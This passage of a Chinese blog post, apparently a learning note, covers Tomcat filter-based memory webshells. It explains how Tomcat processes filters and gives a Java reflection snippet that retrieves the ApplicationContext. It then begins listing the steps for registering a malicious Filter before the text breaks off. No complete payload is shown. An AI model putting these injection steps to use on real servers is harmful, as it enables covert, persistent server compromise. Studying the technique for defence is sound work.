src="https://wechat2rss.xlab.app/img-proxy/?k=a6fe35ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKvEibwt3TzYYWuiaSbMnCPV1VdJOq2vqnYmw4mvKtzvJHjd8hRyvJBfzQ%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">根据写的demo分别再init和dofilter打断点，可以看到filter初始化和访问时处理过程中涉及到的类和方法</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;font-weight:bold;">不同内存马（tomcat、weblogic、jetty等）的区别在于不同中间件处理请求的流程和上下文context获取方式不同</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">利用jsp创建filter，request 和 response 是 jsp 的内置对象，所以在回显问题上不用考虑，利用反序列化注入内存马需要考虑回显问题</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">对tomcat的filter结构理解大致如下</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;"><img data-ratio="0.3625" style="width:553.8084106445312px;height:203.49000549316406px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=797bc049&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKxUjEDmDCmVmgjtYqPVf7haTAAz4x3Nic9J4EDMYLaica0ia92Owjk0xRw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;"><img data-ratio="0.2017857142857143" style="width:553.8084106445312px;height:113.12999725341797px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=bf034dda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKyJAVeibpnH32Xmfnx1EClpqucJnzoOIVXQh87iciaoD8ic2H5ZiaCgib57Cw%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;text-decoration:line-through;">自己画的图，属实有点丑</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">正好利用内存马获取参数值来复习反射用法</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">ServletContext servletContext </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> request</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getSession</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getServletContext</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Field</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> appctx </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> servletContext</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getClass</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getDeclaredField</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;context&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>appctx</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">setAccessible</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">true</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>ApplicationContext applicationContext </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">  </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">ApplicationContext</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">appctx</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">get</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">servletContext</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">反射是一种在运行时动态获取和操作类、对象、方法和字段的能力。它允许程序在运行时检查和操作其自身的内部结构，而不需要提前知道这些结构的具体信息。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">在给定的代码片段中，使用了反射来获取应用程序的上下文对象。下面是对代码的解释：</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">request.getSession().getServletContext()：通过HttpServletRequest对象获取到当前会话的ServletContext对象。ServletContext是一个Web应用程序的全局范围的对象，用于在应用程序的不同组件之间共享数据和资源。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">servletContext.getClass().getDeclaredField(&#34;context&#34;)：调用ServletContext对象的getClass()方法获取其对应的Class对象，然后使用getDeclaredField()方法获取名为&#34;context&#34;的字段。这里假设ServletContext类中有一个名为&#34;context&#34;的私有字段。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">appctx.setAccessible(true)：通过调用setAccessible(true)方法，将私有字段设置为可访问的，以便可以在后续步骤中获取它的值。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">appctx.get(servletContext)：调用get()方法，传入ServletContext对象，从中获取私有字段的值。这里假设&#34;context&#34;字段的类型为ApplicationContext。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">(ApplicationContext)appctx.get(servletContext)：将获取到的字段值强制转换为ApplicationContext类型，存储在变量applicationContext中。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">通过上述代码，使用反射技术获取了ServletContext对象中名为&#34;context&#34;的私有字段，并将其转换为ApplicationContext类型。这样就可以在代码中访问和使用该字段所代表的应用程序上下文对象。</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">在Java中，使用反射通过`get`方法获取字段的值需要遵循以下步骤：</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">1. 获取要访问的字段所在的类的`Class`对象。可以使用对象的`getClass()`方法获取其对应的`Class`对象，或者使用`Class.forName()`方法通过类的全限定名获取`Class`对象。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">2. 使用`Class`对象的`getDeclaredField()`方法获取字段对象。该方法需要传入字段的名称作为参数。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">3. 设置字段可访问性。如果字段是私有的，需要调用`setAccessible(true)`方法将其设置为可访问的。这样可以绕过访问修饰符的限制。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">4. 使用`Field`对象的`get()`方法获取字段的值。该方法需要传入要获取值的对象作为参数，如果字段是静态的，可以传入`null`。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">5. 根据字段的类型进行必要的类型转换。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">下面是一个示例代码，演示如何使用反射的`get`方法获取对象的字段值：</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">```java</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">import java.lang.reflect.Field;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">public class ReflectionExample {</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">    </span>public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>// 获取要访问的类的Class对象</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>MyClass obj = new MyClass();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>Class clazz = obj.getClass();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>// 获取字段对象</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>Field field = clazz.getDeclaredField(&#34;myField&#34;);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>// 设置字段可访问性</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>field.setAccessible(true);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>// 获取字段的值</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>Object value = field.get(obj);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>// 类型转换</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>if (value instanceof String) {</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">            </span>String strValue = (String) value;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">            </span>System.out.println(&#34;Field value: &#34; + strValue);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">        </span>}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">    </span>}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">class MyClass {</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style=""><span style="mso-spacerun:yes;">    </span>private String myField = &#34;Hello, World!&#34;;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">```</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">在上述示例中，我们首先获取了`MyClass`的`Class`对象，然后通过`getDeclaredField()`方法获取了名为`myField`的字段对象。接下来，通过调用`setAccessible(true)`方法设置字段可访问性。最后，使用`get()`方法获取字段的值，并进行类型转换。在本例中，我们将字段的值转换为`String`类型，并输出到控制台上。</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="">需要注意的是，使用反射的`get`方法获取字段值可能会导致性能下降，并且不符合封装性原则。因此，建议在正常情况下优先使用对象的公共方法来访问和修改其字段值。只有在特殊情况下，例如在框架或库的开发中，才需要使用反射来访问私有字段。</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">一句话概述，先获取实例，再通过实例.class获取该实例的</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;font-weight:bold;">对象（类）</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">，通过getDeclaredField,获取这个</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;font-weight:bold;">对象（类）</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">的</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;font-weight:bold;">私有属性的对象（类）</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">，再通过这个私有属性对象（类）的get方法传入</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;font-weight:bold;">实例</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">，获取这个</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;font-weight:bold;">实例</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">的私有属性的值</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">              </span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">创建一个恶意 Filter</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">2.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">利用 FilterDef 对 Filter 进行一个封装</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">3.</span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:tomcat调试;"><span style="font-family:Cambria;">将 FilterDef 添加到 FilterDefs 和 FilterConfig</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: 